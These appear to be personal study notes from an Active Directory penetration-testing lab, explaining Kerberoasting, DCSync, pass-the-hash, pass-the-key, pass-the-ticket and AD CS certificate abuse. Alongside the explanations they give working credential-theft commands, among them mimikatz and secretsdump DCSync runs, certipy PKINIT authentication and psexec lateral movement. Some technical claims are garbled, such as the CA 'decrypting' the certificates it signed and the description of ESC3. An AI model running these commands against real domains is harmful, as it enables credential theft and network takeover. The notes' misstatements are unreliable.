GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user SAPService
Step 4 - save it on a file and crack it using hascat
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
DCSync
DCSync transfers the password hashes from the Domain Controller to you through legitimate AD replication APIs, because the attacker account has replication permissions.
✅ 1. What is DCSync?
DCSync is an attack technique where an attacker pretends to be a Domain Controller and requests user password data (NTLM hashes, Kerberos keys) through AD replication APIs.
It abuses the DSGetNCChanges function inside the Microsoft Directory Replication Service (DRS) Remote Protocol.
Key idea:
AD will replicate secrets to any security principal (user/computer) that has replication permissions.
✅ 2. What exactly does DCSync retrieve?
DCSync can pull:
NTLM Hash (for NTLM auth)
Kerberos AES128/AES256 keys
Kerberos RC4 key
LM Hash (if stored)
Password Last Set
SID, UPN, etc.
This allows:
Pass-the-Hash
Pass-the-Ticket
Golden Ticket creation
Skeleton Key attack
User impersonation
✅ 3. Do you need Domain Admin credentials?
NO — Domain Admin is not required.
Domain Admins have the permissions by default, but any user/computer with replication rights can perform DCSync.
DCSync requires the following ACL rights:
✔ Required Active Directory Rights
A user must have these 3 permissions on the Domain root object:
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set (for 2016+)
These permissions are delegated through Access Control Entries (ACEs) on the domain object in AD.
🧠 Why These Permissions Work
In Active Directory, Domain Controllers replicate data between each other.
Normally this happens like:
🖥️ DC2 → asks DC1
“Give me updated directory data”
DC1 responds with:
📦 User objects
📦 Password hashes
📦 Kerberos keys
The DCSync attack abuses this exact mechanism.
Instead of being a DC:
👤 Attacker
pretends to be a replication partner.
🔥 4. So who has these permissions by default?
🔥 5. How Misconfigurations Enable DCSync
DCSync becomes dangerous when:
Administrators mistakenly grant “Replicating Directory Changes” to normal users.
Privilege escalation attacks (Kerberoasting, ACL abuse, RBCD) give the attacker an account/machine with replication rights.
‘Backup Operators’ group gets abused (it does NOT directly give replication rights, but often delegated incorrectly).
✅ 6. DCSync Attack Flow (Clear, Practical)
⭐ Step-by-step:
Step 1: Get credentials of a user with replication rights
This can be:
Domain Admin creds
Compromised DC machine account (Computer$)
Any delegated user
PrivEsc to a group with these rights
Step 2: Run DCSync
Mimikatz
mimikatz.exe
lsadump::dcsync /user:Administrator
Alternatively:
lsadump::dcsync /domain:corp.local /user:krbtgt
Impacket-secretsdump (Linux)
secretsdump.py domain/user:password@dc-ip
To pull only a specific user:
secretsdump.py -just-dc-user administrator domain/user:pass@dc-ip
To pull KRBTGT key:
secretsdump.py -just-dc-user krbtgt domain/user:pass@dc-ip
⚠️ 7. IMPORTANT — You do NOT need local admin on domain controllers
Local admin on a single workstation does NOT give replication rights.
You need:
Domain-level privileges
or
Specific ACL permissions
Local Admin → Priv esc does NOT equal DCSync.
🔥 8. How to Check if a User Has These Permissions
Using PowerView:
Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |
? {$_.ActiveDirectoryRights -match "Replicate"}
To check a specific user:
Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |
? {$_.IdentityReference -match "username"}
This will show if the user has:
Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes Filtered Set
🔥 9. How Attackers Gain Replication Rights
Without DA creds, attackers often escalate to replication rights by abusing:
- ACL abuse (GenericWrite, GenericAll, WriteDACL)
Give themselves replication privileges.
- Resource Based Constrained Delegation (RBCD)
Compromising a computer account → impersonate DA → DCSync.
- Compromising a domain controller computer account
Ex: DC01$ credentials allow full DCSync.
- Kerberoasting + Password reuse
Crack a service account → it has replication rights (rare but misconfigured).
Pass The Hash
NTML / NTMLV2
NT hash
Definition
The NT hash is the cryptographic representation of a Windows password.
NT hash = MD4( UTF-16LE(password) )
Key property
The NT hash itself is treated as the authentication secret by Windows.
NTLM
Definition
NTLM (NT LAN Manager) is a challenge–response authentication protocol used by Windows when Kerberos is unavailable.
Purpose
- Prove knowledge of a password without sending it
NTLMv1
Definition
NTLMv1 is the legacy implementation of NTLM using DES-based responses.
Status
Weak
Deprecated
Still seen on very old systems
NTLMv2
Definition
NTLMv2 is the modern NTLM authentication algorithm that:
Adds timestamps
Adds client challenge
Uses HMAC-MD5
Prevents replay attacks
Important
NTLMv2 still depends on the NT hash
Pass-the-Hash (PtH)
Definition
Pass-the-Hash is an attack where authentication is performed using the NT hash directly, without knowing the plaintext password.
2. When NTLM vs Kerberos is used
➡️ NTLM is the fallback
➡️ Fallback = attack surface
3. What happens when a user types a password (very important)
Let’s say user Alice logs in.
Step 1: Password processing (local system)
User types password → Windows does NOT store plaintext
Instead:
Password → UTF-16LE → MD4 → NT hash
Example:
Password: P@ssw0rd
NT hash : 8846f7eaee8fb117ad06bdd830b7586c
Step 2: Where the NT hash goes
❗ Plaintext password is discarded
4. NTLM authentication – high level flow
NTLM proves: “I know the NT hash”
General NTLM flow (common to v1 and v2)
Client says: “I want to authenticate”
Server sends random challenge
Client computes response using NT hash
Server recomputes and compares
5. NTLMv1 – how it works
Logic
Response = DES( NT_hash, ServerChallenge )
Properties
No timestamp
No client challenge
Replay possible
Weak crypto
Security level
❌ Broken
❌ Replayable
❌ Easily crackable
6. NTLMv2 – how it works (proper logic)
NTLMv2 does NOT replace the NT hash
It wraps it with more data
Step-by-step NTLMv2 logic
Step 1 – NTLMv2 hash creation
NTLMv2_hash =
HMAC-MD5(
NT_hash,
Username + Domain
)
Step 2 – Client builds a blob
The blob contains:
Timestamp
Client challenge
Target info
Step 3 – Final response
NTLMv2_Response =
HMAC-MD5(
NTLMv2_hash,
ServerChallenge + Blob
)
Step 4 – Server validation
Server:
Retrieves NT hash
Rebuilds NTLMv2_hash
Verifies response
✔️ Auth success
7. Why NTLMv2 exists (design goal)
⚠️ Goal was transport security, NOT hash secrecy
8. Where Pass-the-Hash fits (key concept)
Important truth
NTLMv2 still trusts the NT hash as the root secret.
So if attacker has:
NT hash + Username + Domain
They can:
Generate NTLMv2 responses
Authenticate successfully
➡️ No password required
Pass The Hash
Definition (core)
Pass-the-Hash (PtH) is an authentication abuse technique where:
An attacker authenticates as a user by supplying the NT password hash directly, instead of the user’s plaintext password.
Key point:
The hash is not cracked
The hash is not replayed
The hash is used as the credential
2. Why Pass-the-Hash Exists (root cause)
Windows design assumption
Windows assumes:
“If you can prove knowledge of the NT hash, you must know the password.”
Therefore:
NT hash = proof of identity
Password is only a derivation source
This assumption is what PtH abuses.
3. Where PtH sits in the authentication chain
Password ──► NT hash ──► NTLM / NTLMv2 response ──► Authentication
PtH attacks this level:
┌──────────────┐
Attacker│ NT hash only │
└──────────────┘
The password is skipped entirely.
4. Preconditions for Pass-the-Hash
PtH is not magic. These conditions must be true:
Required
NTLM authentication is allowed
Attacker has the NT hash
Target accepts NTLM (local account, fallback, legacy)
Not required
Plaintext password ❌
Password cracking ❌
User interaction ❌
5. Where the NT hash used in PtH comes from
Common sources
👉 PtH always starts after credential access
6. Pass-the-Hash vs normal login (key contrast)
Normal login
User types password
System computes NT hash
NT hash used internally
Pass-the-Hash login
Attacker already has NT hash
NT hash injected directly
Password never exists
➡️ Authentication logic is identical after step 2
7. How PtH actually works (internal logic)
Let’s formalize it.
What the server checks
The server never checks the password.
It only checks:
“Does the response match what I get using the stored NT hash?”
Attacker advantage
If attacker has the NT hash:
They can compute any valid NTLM or NTLMv2 response
The server sees no difference
8. Pass-the-Hash with NTLMv1 vs NTLMv2
Important clarification
Why?
Because both protocols ultimately rely on the NT hash.
NTLMv2 improves:
Replay resistance
Message integrity
But does not protect the NT hash itself.
9. Example: PtH logic using NTLMv2 (conceptual)
Attacker has:
Username: Admin
Domain: CORP
NT hash: 8846f7eaee8fb117ad06bdd830b7586c
NTLMv2 process (unchanged)
NTLMv2_hash = HMAC-MD5(
NT_hash,
Username + Domain
)
The attacker can compute this perfectly, because:
- NT hash is the only secret required
✔️ Authentication succeeds
❌ Password never known
OverPass-the-Hash (Pass-the-Key precursor)
This is where confusion usually starts.
🔹 What It Is
Using an NT hash to obtain a Kerberos TGT
You are converting NTLM material into Kerberos authentication.
🔹 Why It Exists
Kerberos still supports:
RC4-HMAC
Which uses the NT hash as the Kerberos key
So:
NThash == Kerberos RC4 key
🔹 Where It Lives in the Flow
Authentication phase.
NThash → AS-REQ
KDC verifies → issues TGT
This is a real login, not reuse.
🔹 Key Difference vs PtH
🔹 Why It’s Called “OverPass”
You:
Start with NTLM material
“Jump over” NTLM
End in Kerberos
🔹 Limitations
Requires RC4 enabled
AES-only domains break this
Password change invalidates hash
🔑 One-line truth
OverPass-the-Hash = NT hash → Kerberos TGT
Pass-the-Key (PtK)
🔹 What It Is
Using Kerberos long-term keys (AES/RC4) directly to authenticate
No NTLM involved at all.
🔹 What Keys Are Used
AES256 key
AES128 key
RC4 key (NT hash)
Stored in:
NTDS.dit
LSASS
DCSync output
🔹 Where It Lives in the Flow
Authentication phase (Kerberos-native)
Kerberoskey → AS-REQ
KDC verifies → TGT issued
🔹 Why It’s Stronger Than OverPass-the-Hash
🔹 Why Blue Teams Fear PtK
AES keys don’t “look suspicious”
Harder to distinguish from real logons
NTLM can be fully disabled and this still works
🔑 One-line truth
Pass-the-Key = Kerberos-native authentication using long-term keys
Difference Between Them
🔑 Short, Precise Answer First
Only Kerberos-based techniques result in a TGT.
Pass-the-Hash (classic) does NOT get a TGT.
OverPass-the-Hash and Pass-the-Key do get a TGT, but via different secrets and checks.
Now let’s lock this down cleanly.
1️⃣ Pass-the-Hash (PtH) — NO TGT
What it actually does
Uses NT hash
Authenticates via NTLM
Talks directly to the target service
KDC is never involved
Flow
Client → NTLM challenge
NT hash → response
Target validates → session created
Key point
Kerberos not used
No TGT
Works only where NTLM is allowed
✔ Lateral movement
❌ Kerberos tickets
2️⃣ OverPass-the-Hash (OPtH) — YES, TGT
What it really is
Using an NT hash as a Kerberos RC4 key
Why this works:
- RC4-HMAC Kerberos key = NT hash
Flow
NThash → AS-REQ (RC4)
KDC verifies → issues TGT
Important nuance
NT hash is not used for NTLM here
It is used as a Kerberos secret
✔ Gets a TGT
✔ Uses KDC
❌ Breaks if RC4 is disabled
3️⃣ Pass-the-Key (PtK) — YES, TGT
What it is
Kerberos-native authentication using long-term keys
Keys used:
AES256
AES128
RC4 (optional)
Flow
Kerberoskey →AS-REQ (AES/RC4)
KDC verifies → issues TGT
Why it matters
Works even if NTLM is disabled
Works in modern AD environments
✔ Gets a TGT
✔ Modern
✔ Stealthier
Goal → Kerberos access → TGT
But security enforcement happens at the start, not the end.
What matters is:
What secret is being validated, and by whom
5️⃣ Exact Difference in One Table (This Ends the Confusion)
6️⃣ The One Sentence That Fixes Everything
Pass-the-Hash skips Kerberos entirely, OverPass-the-Hash converts an NT hash into a Kerberos key, and Pass-the-Key uses Kerberos keys directly — only the last two actually obtain a TGT.
🧠 Final Mental Model (Memorize This)
Hash ≠ Key ≠ Ticket
NT hash → NTLM session (PtH)
NT hash → Kerberos key → TGT (OPtH)
Kerberos key → TGT (PtK)
Ticket reuse (PtT)
Pass The Ticket
Understanding The Core Concept
1️⃣ Pass-the-Ticket (PtT)
🔹 What It Is
Reusing a valid Kerberos ticket (TGT or TGS) without knowing the password or hash
You are not authenticating again — you are presenting an already issued identity.
🔹 What Material Is Used
Kerberos tickets
TGT (Ticket Granting Ticket)
or TGS (Service ticket)
Stored in:
LSASS memory
Kerberos cache
🔹 Where It Lives in the Flow
Authorization phase, not authentication.
Ticket already issued
→ Present ticket
→Server validates signature
→ PAC →access token
No password check
No hash check
No KDC interaction (for TGS reuse)
🔹 Why It Works
Kerberos trusts:
Ticket signature
Ticket lifetime
Ticket PAC contents
If valid:
“I don’t care how you got it”
🔹 What You Can Do With PtT
🔹 Limitations
Ticket expires
KRBTGT reset invalidates TGTs
Service account reset invalidates TGSs
Tied to domain trust boundaries
🔑 One-line truth
Pass-the-Ticket = reuse identity, skip authentication entirely
Pass The Certificate
https://specterops.io/blog/2021/06/17/certified-pre-owned/
Understanding The Basic Terms
✅ What is AD CS (Active Directory Certificate Services)?
Active Directory Certificate Services (AD CS) is a Windows Server role for issuing and managing public key infrastructure (PKI) certificates used in secure communication and authentication protocols.
AD CS is a Windows Server feature that helps a company create and manage digital certificates. These certificates are like digital ID cards for users, computers, or services.
AD CS is used to:
Prove someone’s identity (authentication)
Secure communication (encryption)
Digitally sign files, emails, or code (signing)
🧰 How AD CS Helps in an Organization
AD CS enables:
Authentication using certificates instead of passwords.
Secure email, using S/MIME.
Document and code signing to verify integrity and origin.
SSL/TLS encryption for web servers.
Smart card logon for users.
VPN and Wi-Fi access with certificate-based authentication.
Secure communication between clients, services, and servers.
🏢 What is a CA (Certificate Authority)?
A Certificate Authority (CA) is the main part of AD CS.
Think of it like a passport office in your organization.
You go to the CA (certificate office),
Show who you are (username, computer name, etc.),
If trusted, it issues you a digital certificate.
That certificate says:
“This user or computer is real and trusted. Signed — your CA.”
So, the CA is the trusted center that gives out (issues) certificates to people or machines.
🔐 Public Key Infrastructure (PKI) – The Foundation
PKI is the framework of policies, hardware, software, and standards needed to manage public/private key pairs and digital certificates.
PKI uses:
Public keys for encryption and signature verification.
Private keys (kept secret) for decryption and signing.
A Certificate Authority (CA) to bind public keys to identities via certificates.
🔐 Public Key Infrastructure (PKI) – The Foundation
PKI is the framework of policies, hardware, software, and standards needed to manage public/private key pairs and digital certificates.
PKI uses:
Public keys for encryption and signature verification.
Private keys (kept secret) for decryption and signing.
A Certificate Authority (CA) to bind public keys to identities via certificates.
🧱 Key Components of AD CS and PKI
✳️ Key Components:
Certification Authority (CA): The server role (Enterprise CA) that issues and signs certificates.
Certificate: A digital identity for a user or computer, containing the public key and metadata (subject, EKUs, etc.).
CSR (Certificate Signing Request): A request generated by a client, containing the public key and identity info, sent to the CA for certificate issuance.
Certificate Template: Predefined settings that define what a certificate will be used for, who can enroll, required approvals, etc.
EKU OIDs (Extended Key Usages): Define the purpose of a certificate (e.g., Smart Card Logon, Client Authentication, Code Signing).
🧾 What is a CA Certificate?
The CA certificate is:
A special certificate that belongs to the CA itself. It proves that the CA is trusted.
Other computers trust this CA certificate so they will trust all certificates issued by it.
The CA’s certificate includes its public key and identity, and it is trusted by the entire domain (or forest).
Certificates issued by this CA can then be used to prove identity, encrypt communications, or sign data.
In an Active Directory (AD) environment, the AD Certificate Services (AD CS) role allows you to deploy your own enterprise CA, issuing certificates to users and devices.
📌 Example:
If your organization has a CA named Corp-CA, then every user or device that trusts the Corp-CA certificate will also trust any certificate issued by it — like certificates given to users for login, or to websites for HTTPS.
🛠️ Who issues certificates?
The CA issues certificates to:
Users – for smart card or certificate-based logon
Computers – to prove their identity to the network
Web Servers – for secure HTTPS
Apps – for code signing or secure communication
It uses certificate templates to define how the certificate should be built, like:
What the certificate can be used for (login, email, etc.)
How long it is valid
Who is allowed to request it
🔐 Concept: How a Certificate is Issued and Used for Authentication
🔢 Certificate Enrollment Process (Steps 1–5)
1. Client Generates Public/Private Key Pair
The user’s machine (or the user themself) generates a key pair.
The private key stays local (e.g., in TPM or certificate store).
The public key will be embedded in a certificate request (CSR).
2. Client Sends Certificate Signing Request (CSR) to Enterprise CA
- The CSR includes:
- The user/computer’s identity (Subject:
CORP\user) - Requested certificate template (e.g., “CodeSign”)
- Public Key
- EKUs (like Code Signing, Client Authentication, Smart Card Logon, etc.)
- The user/computer’s identity (Subject:
3. Enterprise CA Validates Request
The CA checks:
✅ Does the template exist?
✅ Does the template allow the requested EKUs (via OID)?
✅ Is the user authorized to enroll using this template?
✅ Does the request require manual approval?
4. CA Signs and Issues the Certificate
- If valid, the CA issues a certificate by:
- Binding the public key to the user’s identity.
- Signing it with the CA’s private key (proving trust).
- The certificate now includes: Subject, Public Key, EKUs, CA Signature.
- Note:- If you compromise CA then you can decrypt all the certificated sign by it.
5. Certificate Installed on Client
The client stores the issued certificate in the Windows Certificate Store.
The user can now use the certificate for actions like:
- Logging in (if EKU = Smart Card Logon / Client Auth)
- Signing code/documents (if EKU = Code Signing)
- TLS client authentication, Wi-Fi/EAP-TLS, VPN
🔁 Example Scenario:
Let’s say you want to log in to your office computer without typing your password:
You request a certificate from the CA (using your username).
The CA checks your identity (through Active Directory).
If allowed, it gives you a certificate.
That certificate is stored on your computer or smart card.
When you log in, your computer shows the certificate to the server.
The server trusts the certificate because it was signed by the CA.
You’re logged in — securely — without needing a password.
🔐 How This Certificate is Used in Kerberos Authentication
Now that the user has a certificate (e.g., with Client Authentication or Smart Card Logon EKU), it can be used during logon via PKINIT.
🔁 Certificate-Based Kerberos Logon Flow (PKINIT)
The user logs in using their certificate (e.g., smart card, TPM).
The system sends an AS-REQ to the KDC (Domain Controller).
- Instead of password pre-auth (timestamp encrypted with NT hash),
- It uses the certificate + digital signature (proof of possession of private key).
The KDC:
- Checks if the certificate is valid and trusted (i.e., issued by an AD CS CA).
- Checks the EKU (Smart Card Logon or Client Auth).
- If all is valid, issues a TGT (Ticket Granting Ticket).
From there, the normal Kerberos process resumes:
- The user can now request TGS tickets for services (e.g.,
CIFS,HTTP, etc.)
TGT → TGS (Service Ticket) → Access to services
- The user can now request TGS tickets for services (e.g.,
✅ Same Kerberos flow, but different way to prove identity.
🧠 Important Notes
Certificates don’t replace TGTs — they only replace how you prove your identity in the initial AS-REQ.
The rest of the Kerberos flow (TGT ➝ TGS ➝ service) remains unchanged.
This is typically used in Smart Card Logon, EAP-TLS Wi-Fi, or VPN auth scenarios.
The cert must have the correct EKUs (e.g.,
Smart Card Logon,Client Authentication).
🔐 Kerberos Authentication – Traditional vs. Certificate-Based
Smart Card Logon or Client Authentication |🎯 Real-World Scenario: Certificate-Based Logon Across Forests
Situation:
An organization has two Active Directory forests:
Forest A (CORP.LOCAL) – user’s home forest
Forest B (SERVICES.LOCAL) – resources (e.g., file server) reside here
These forests have a cross-forest trust (two-way forest trust), and both forests have Enterprise CAs via AD CS.
✅ Scenario Steps (End-to-End):
- 🔐 User Logon with Certificate (in CORP.LOCAL)
- The user logs in using a smart card or certificate (issued by the CORP.LOCAL CA).
- The client sends a PKINIT-based AS-REQ to its local DC.
- The CORP.LOCAL KDC verifies the certificate (trusts its own CA) and issues a TGT.
- 🎫 Request TGS for Remote Service (in SERVICES.LOCAL)
- The user wants to access
\\fileserver.services.local(hosted in the second forest). - The user presents their TGT to the KDC in CORP.LOCAL and asks for a TGS for SERVICES.LOCAL via the trust.
- The user wants to access
- 🔁 Cross-Forest Referral
- CORP.LOCAL KDC refers the user to SERVICES.LOCAL via the trust.
- The user now contacts the KDC in SERVICES.LOCAL, presenting a referral TGT.
- 🆗 TGS Issued in SERVICES.LOCAL
- SERVICES.LOCAL KDC trusts CORP.LOCAL due to the forest trust.
- It checks the referral TGT and issues a TGS for the CIFS service on the file server.
- 📂 Access Granted
- The user presents the TGS to the file server.
- Access is granted based on group membership and ACLs.
✅ Even though the user authenticated via certificate in their own forest, thanks to:
AD CS issuing valid certificates
PKINIT support
Cross-forest Kerberos trust
they were able to access a service in a different forest.
🧠 How AD CS Enables This
AD CS issues the user certificate with required EKUs (e.g., Smart Card Logon).
The certificate is trusted within CORP.LOCAL, and through cross-certification or forest trust, it can also be validated in SERVICES.LOCAL.
KDCs in both forests are configured to accept PKINIT requests.
🧠 Conceptual Advantages Explained:
- Stronger Security Model
Certificates use asymmetric cryptography: public/private key pairs.
The private key never leaves the client device (e.g., smart card, TPM).
This makes it extremely hard to steal credentials — unlike passwords which can be dumped or reused.
2. Phishing & Replay Attack Resistance
No password is entered or transmitted.
Even if someone tricks you into connecting to a fake service, your private key can’t be extracted, and signatures can’t be reused.
- Compliance & MFA Support
- Certificate logon can be combined with:
- Smart cards
- Biometrics (Windows Hello for Business)
- Hardware TPM
- Helps organizations meet compliance requirements (e.g., for finance, healthcare, defense).
- Granular Control via AD CS
- You can configure:
- Which users/devices get which certificates
- What purposes the certs can be used for (via EKUs)
- Certificate expiration & auto-renewal
- Revocation lists (CRL)
This gives more control than traditional password policies (which are often poorly enforced).
- No Credential Leakage Over the Network
Traditional Kerberos still uses password-derived secrets for the initial AS-REQ pre-auth (even if the TGT/TGS are secure).
Certificate-based authentication uses PKINIT, where identity is proven via digital signature, not password.
📌 Example: Real Scenario
Password-Based Logon (Weakness):
User logs in to a phishing page that mimics the corporate login portal.
The attacker captures their credentials.
These can be reused, dumped from memory, or used in pass-the-hash attacks.
Certificate-Based Logon (Strength):
User logs in using a smart card or TPM-stored certificate.
Even if the attacker tricks them, the private key is never exposed, and the certificate can’t be reused by an attacker.
📌 Summary Table
Why AD CS is Dangerous in a Forest with Domain Trusts
Certificates issued by AD CS can be used instead of passwords for Kerberos/NTLM authentication.
If an attacker compromises AD CS in one domain, they can issue trusted certificates for:
- Any user in that domain (including domain admins).
- Other domains in the same forest, due to implicit trust and shared PKI trust.
This enables lateral movement and forest-wide compromise.
Key Abuses of AD-CS
1. Extract User and Machine Certificates
- If attacker gains access to a user/machine with an issued certificate, they can export:
- Private key from the certificate store.
- Use it to authenticate without needing passwords.
- Even if the password is reset later, certificate-based access remains valid until the cert expires/revoked → Persistence.
Example:
Attacker exports a workstation’s certificate and uses it to authenticate via RDP or LDAP, bypassing password policies.
2. Use Certificates to Retrieve NTLM Hash
Certificates can be used for Kerberos PKINIT (smart card logon).
Once authenticated, attackers can:
- Request NTLM hashes from DC (via PKINIT-to-NTLM relay attacks).
- Perform NTLM relay attacks (e.g., against LDAP or LDAPS).
Impact:
This allows hash theft and relay attacks even when passwords are strong.
3. User and Machine Level Persistence
Certificates = long-term authentication tokens.
Even if a user changes their password, an attacker holding a valid certificate can still Log in, Access resources, Request Kerberos TGTs (via PKINIT) until certificate expires.
Impact:
Attacker maintains stealthy persistence in the environment without relying on password theft.
4. Escalation to Domain Admin & Enterprise Admin
- Misconfigured certificate templates can allow low-privileged users to:
- Request certificates for high-privilege accounts (ESC1/ESC2 attacks).
- Enroll as a domain controller certificate (ESC3).
- With a domain controller certificate:
- Attacker can perform DCSync (replicate NTDS.dit, extract all hashes).
- From one domain, they can:
- Abuse forest trust to move to the root domain.
- Become Enterprise Admin.
5. Domain Persistence
- Once attacker controls AD CS CA:
- They can issue any certificate for any identity in the forest.
- They can backdoor CA to silently issue new certs at will.
- Even if defenders reset passwords, rebuild servers, or remove malware:
- Attacker can re-enter via their rogue certs.
Example Cross-Domain Attack Path
Compromise low-privileged user in Child Domain.
Abuse vulnerable certificate template (ESC1) to get a certificate for Domain Admin in child domain.
Use that cert to:
- DCSync child domain.
- Extract trust keys to Parent/Root Domain.
Forge inter-realm TGTs → access Forest Root Domain.
Use AD CS in root to issue Enterprise Admin cert.
Gain permanent forest-wide access.
Why This Is Critical
AD CS effectively turns Active Directory passwordless.
If one CA or misconfigured template is compromised in any domain, the entire forest trust model collapses.
Persistence is extremely hard to remove unless CA is fully rebuilt.
How User gets valid Certificate and TGT from it ??
🧪 Lab Scenario (Concrete Setup)
👤 User
lowuser@corp.local
Member of: Domain Users
🖥️ CA Server
CA Name: corp-CA
Type: Enterprise CA
Published in AD:
CN=corp-CA,CN=Enrollment Services,...
📄 Vulnerable Template (Key Part)
Template: VulnTemplate
🔧 Configuration (THIS is what matters)
🔥 PHASE 1 — Certificate Request (WITH SETTINGS)
🧩 Step 1: Key Pair Generation
lowuser → generates public/private key
(No ADCS setting involved here)
📩 Step 2: CSR Creation
lowuser creates request:
Template: VulnTemplate
SAN: administrator@corp.local ← attacker-controlled
Public Key: included
📤 Step 3: Send CSR to CA
lowuser → corp-CA
🔍 Step 4: CA Evaluates Request (CRITICAL LOGIC)
Now CA checks template settings:
✔️ Check 1: Enrollment Permission
Template ACL:
Domain Users → Enroll ✅
✔️ lowuser allowed
✔️ Check 2: Subject Control
msPKI-Certificate-Name-Flag = ENROLLEE_SUPPLIES_SUBJECT
👉 This allows:
lowuser → request SAN = administrator@corp.local
❗ No validation of ownership
✔️ Check 3: Approval Requirement
Manager Approval = Disabled
Authorized Signatures = 0
👉 Certificate is auto-issued
✔️ Check 4: EKU
EKU = Client Authentication
👉 Certificate can be used for login later
✍️ Step 5: CA Issues Certificate
corp-CA → signs certificate
Certificate now contains:
Subject: (can be empty or arbitrary)
SAN: administrator@corp.local 🔥
EKU: Client Authentication
Issuer: corp-CA
📥 Step 6: lowuser Receives Certificate
lowuser now has:
Certificate (signed by CA)
Private key
🔐 PHASE 2 — Certificate Validation (WITH SETTINGS)
📩 Step 7: Use Certificate
lowuser → presents certificate
🔍 Step 8: Trust Validation
✔️ Check CA Trust
From AD:
CN=NTAuthCertificates
corp-CA present → trusted ✅
🔏 Step 9: Signature Validation
Certificate signed by corp-CA
Verified using CA public key
Valid signature ✅
⏳ Step 10: Validity Check
Not expired ✅
🚫 Step 11: Revocation Check
Not revoked ✅
🧠 Step 12: Identity Mapping (CRITICAL)
From certificate:
SAN = administrator@corp.local
System searches AD:
userPrincipalName=administrator@corp.local
✔️ Match found → Administrator account
🔑 Step 13: EKU Check
EKU = Client Authentication ✅
🔐 Step 14: Private Key Proof
- lowuser proves possession of private key
🎟️ FINAL RESULT
System accepts certificate as Administrator
→ TGT issued as Administrator
🔥 FULL FLOW (WITH SETTINGS INLINE)
1. Template allows:
- Domain Users enroll
- ENROLLEE_SUPPLIES_SUBJECT
- Client Authentication
- No approval
2. lowuser sends CSR:
SAN = administrator@corp.local
3. CA checks:
→ Permission ✅
→ Subject allowed ✅
→ No approval needed ✅
4. CA signs cert:
SAN = administrator@corp.local
5. Validation:
→ CA trusted ✅
→ Signature valid ✅
→ SAN maps to Administrator ✅
6. Result:
→ lowuser becomes Administrator
🧠 Why Each Setting Matters (Quick Mapping)
🎯 Final One-Line Understanding
If a template lets you control identity and get a client-auth cert, the CA will sign it and the system will trust it as that identity.
Pass The Certificate
🔐 1. Core Concept
Pass-the-Certificate (PtC) = using a certificate + private key to authenticate as a user without knowing their password.
🔑 2. Key Requirement (MOST IMPORTANT)
✔️ You MUST have:
Certificate + Private Key
📦 Certificate Formats
.crt / .cer | Certificate only | ❌ No |.key | Private key only | ❌ No |.pem | Cert + Key (sometimes) | ✅ Yes |.pfx / .p12 | Cert + Private key + password | ✅ YES |🎯 Important Rule
No Private Key = No Authentication
🌐 3. Protocols Used in PtC
🔐 A. Kerberos (PKINIT)
Uses:
- Kerberos
Purpose:
- Get TGT
Flow:
Certificate + Private Key → PKINIT → KDC → TGT
🔐 B. Schannel (TLS Authentication)
Uses:
- TLS
Purpose:
- LDAP / SMB authentication
Flow:
Certificate → TLS handshake → LDAP bind
⚙️ 4. Prerequisites
Environment:
AD Domain (Windows Server 2016+ / 2019+)
ADCS configured
CA trusted in:
CN=NTAuthCertificates
Attacker Needs:
.pfxfile of target user (e.g., Administrator)OR:
.crt + .key
🔥 5. How Attacker Gets .pfx
🧪 Method 1: ADCS Abuse (ESC1)
lowuser → requests cert as admin → gets admin.pfx
🧪 Method 2: Export from System
certmgr.msc → export → .pfx
(If exportable)
🧪 Method 3: DPAPI / Credential Dump
Tools:
Mimikatz
Certipy
🔄 6. Practical Example (Full Attack Flow)
🎯 Scenario
You have:
administrator.pfx
Password: Pass@123
Domain: corp.local
DC: 10.10.10.10
🧪 Step 1: Extract Certificate & Key (Optional)
certipy-ad cert-pfx administrator.pfx -nokey-out admin.crt
certipy-ad cert-pfx administrator.pfx -nocert-out admin.key
👉 Only needed for tools like passthecert.py
🧪 Step 2: Use PKINIT to Get TGT
Using Certipy:
certipy-ad auth-pfx administrator.pfx -dc-ip 10.10.10.10
🔍 What Happens Internally:
1. Certificate sent to KDC
2. KDC validates:
- CA trust
- Signature
- SAN → administrator
3. TGT issued
🎟️ Output:
[*] Got TGT for administrator
[*] Saved credential cache
🧪 Step 3: Use TGT (Lateral Movement)
Example:
impacket-psexec corp.local/administrator@10.10.10.10-k-no-pass
🧪 Step 4: Schannel Authentication (LDAP)
Using passthecert:
python3 passthecert.py \
-crt admin.crt \
-key admin.key \
-dc-ip10.10.10.10 \
-domain corp.local
🔍 What Happens:
1. TLS handshake
2. Certificate presented
3. LDAP bind as Administrator
🔥 7. Why PtC is Dangerous
❌ Bypasses:
Passwords
MFA (in many cases)
Account lockout
⏳ Persistence:
Cert valid for months/years
🕵️ Stealth:
No password logs
Looks like legitimate cert auth
🔗 8. Relation to Other Attacks
🧠 9. Critical Understanding
System does NOT check:
"Who requested the cert?"
It only checks:
"Is this cert valid and trusted?"
🎯 Final Flow (One View)
[GET CERT]
lowuser → ADCS → administrator.pfx
[USE CERT]
administrator.pfx → PKINIT → TGT
[ACCESS]
TGT → service access (psexec / smb / ldap)
✅ Final One-Line Summary
Pass-the-Certificate works by using a valid certificate and its private key to authenticate via Kerberos (PKINIT) or TLS (Schannel), allowing full access without needing a password.
Windows PoC
Priv Esc - Across domain trusts - AD CS
Commads:-
🔧 What is Certify?
Certify is a post-exploitation tool from GhostPack (the same creators of Rubeus, Seatbelt, etc.).
It is used to enumerate, assess, and abuse AD CS configurations in a Windows domain, especially by red teamers and attackers.
- list all Certificate Authorities (CAs) in the current domain/forest.
Certify.exe cas
🔎 What you get:
The hostname of each CA server
The CA name
If it’s online or offline
Whether enrollment is enabled
Basic info like CA DNS name, cert validity, etc.
📌 Why it’s important:
You need to know which CAs exist in the domain before you can assess or exploit certificate templates or misconfigurations.
Now, to abuse any kind of attack, following setting should always be enabled, however by default it is always enabled.
This setting(first row) allows normal user to interact(enroll for certificate) from the CA, however next 3 rows are for privilege users
- Enumerating all certificate templates that are published by the CA(s).
Certify.exe find
✅ Purpose:
This command enumerates all certificate templates that are published by the CA(s).
🔎 What you get:
Template name (e.g.,
User,WebServer,MachineAuth)Who can enroll (users/groups)
Allowed authentication types
Template settings (e.g., Can it be used for client authentication?)
EKUs (Extended Key Usages)
Auto-enrollment status
